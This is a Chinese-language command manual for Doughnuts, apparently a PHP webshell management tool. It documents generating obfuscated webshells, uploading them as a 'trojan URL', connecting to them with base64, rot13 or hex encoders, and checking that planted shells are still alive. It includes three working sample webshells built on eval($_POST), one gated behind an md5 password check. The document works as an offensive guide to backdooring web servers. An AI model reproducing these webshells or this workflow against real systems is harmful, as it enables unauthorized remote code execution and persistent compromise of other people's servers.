main界面命令

命令

s/show

 show

 Show log webshells.

用于显示历史连接的webshell。你可以在稍后使用load命令根据序号连接对应的webshell或rm命令根据序号删除某个历史。

se/show_encoders


     show

     Show avilable encoders.

用于显示可用的编码器:

  • base64

  • rot13

  • hex

  • doughnuts (使用doughnuts生成的webshell专用)

generate


     generate

     Generate a webshell using doughnuts encoding (password and salt none is random).

     keyword:
       - GET
       - POST
       - COOKIE
       - HEADER

     _type:
       - 1 : Pudding
       - 2 : Icecream
       - 3 : Popsicle
       - 4 : Gululingbo

     Command Args:
         -f,--file_path(*)           [str] file_path

         -k,--keyword                [str] keyword (Default: 'POST')

         -p,--passwd                 [str] passwd (Default: '')

         -s,--salt                   [str] salt (Default: '')

         --_type                     [int] _type (Default: 1)

用于生成Doughnuts专用的webshell。格式为generate {文件路径} {连接方式} {密码} {盐值} {webshell类型}。在生成之后根据提示使用Doughnuts进行连接。

l / load


     load

     Load a webshell from log.

     eg: load {id}

     Command Args:
         --id                        [int] id (Default: 0)

加载历史webshell。可以直接使用load命令,会显示所有历史webshell并要求输入序号进行连接,或直接使用load {历史webshell序号}连接对应的webshell。

c / connect

connect

Connect a webshell of php.

eg: connect {url} {method} {pass} {encoders_or_params...}

Command Args:
    -u,--url(*)                      [str] url

    -m,--method                      [str] method (Default: 'GET')

    -p,--pwd                         [str] pwd (Default: 'pass')

    --encodeers_or_params(*)         [?] *encodeers_or_params

连接一个webshell。格式为connect {webshell地址} {连接方式} {密码} {编码器或额外参数,可选}。在连接过后会自动在Doughnuts目录下的webshell.log保存记录,在以后可以使用show命令进行查看,使用load命令再次连接。

doughnuts目前支持的连接方式:

  • GET

  • POST

  • COOKIE

  • HEADER

doughnuts目前支持的编码器:

  • base64

  • rot13

  • hex

  • doughnuts (使用doughnuts生成的webshell专用)

doughnuts支持的额外参数(形如data:a=123):

由于windows原因,在windows命令行连接下不支持&符号连接参数。

尽量将额外参数包裹引号进行传递,且逐一拆分。

好的习惯 "data:a=123" "data:b=456"

坏的习惯 "data:a=123&b=456" (在windows命令行下会连接失败)

  • params(GET参数)

  • data(POST参数)

  • cookies

  • headers

  • .....(更多!详情请了解requests库允许的请求参数!)

一些例子:

  1. 普通webshell:

    • 最平凡的webshell:

        //test1.php
        <?php
        error_reporting(0);
        eval($_POST['2333']);
        ?>

      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:

      connect http://localhost/test1.php POST 2333
    • 带解码的webshell:

        //test2.php
        <?php
        error_reporting(0);
        eval(str_rot13(base64_decode($_REQUEST['2333'])));
        ?>

      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:

      connect http://localhost/test2.php POST 2333 rot13 base64
    • 需要额外参数与解码的webshell:

        //test3.php
        <?php
        if(@md5($_POST['a']) == "202cb962ac59075b964b07152d234b70"){  // a=123
            @eval(base64_decode($_POST['2333']));
        }

      那么只需要运行Doughnuts.py,并输入以下命令,即可成功连接至webshell:

        connect http://localhost/test.php POST 2333 base64 "data:a=123"
  2. 生成webshell:

    1. 在执行python3 -m doughnuts.install之后执行doughnuts generate a.php POST pass salt 1在当前目录下生成Pudding类型的webshell:a.php

    2. 上传a.php,根据提示执行 doughnuts connect {木马url} POST pass doughnuts-salt连接至webshell

check


     check

     Check if each webshell is alive.

      eg: check {timeout=2.0}

     Command Args:
         --timeout                   [float] timeout (Default: 2.0)

用于测试历史记录中的webshell是否存活。格式为check {超时时间}

rm / remove


     remove

     Remove a webshell log.

     eg: remove {_id}

     Command Args:
         --id                        [int] id (Default: 0)

删除历史webshell。可以直接使用rm命令,会显示所有历史webshell并要求输入序号进行删除,或直接使用remove {历史webshell序号}删除对应的webshell。

最后更新于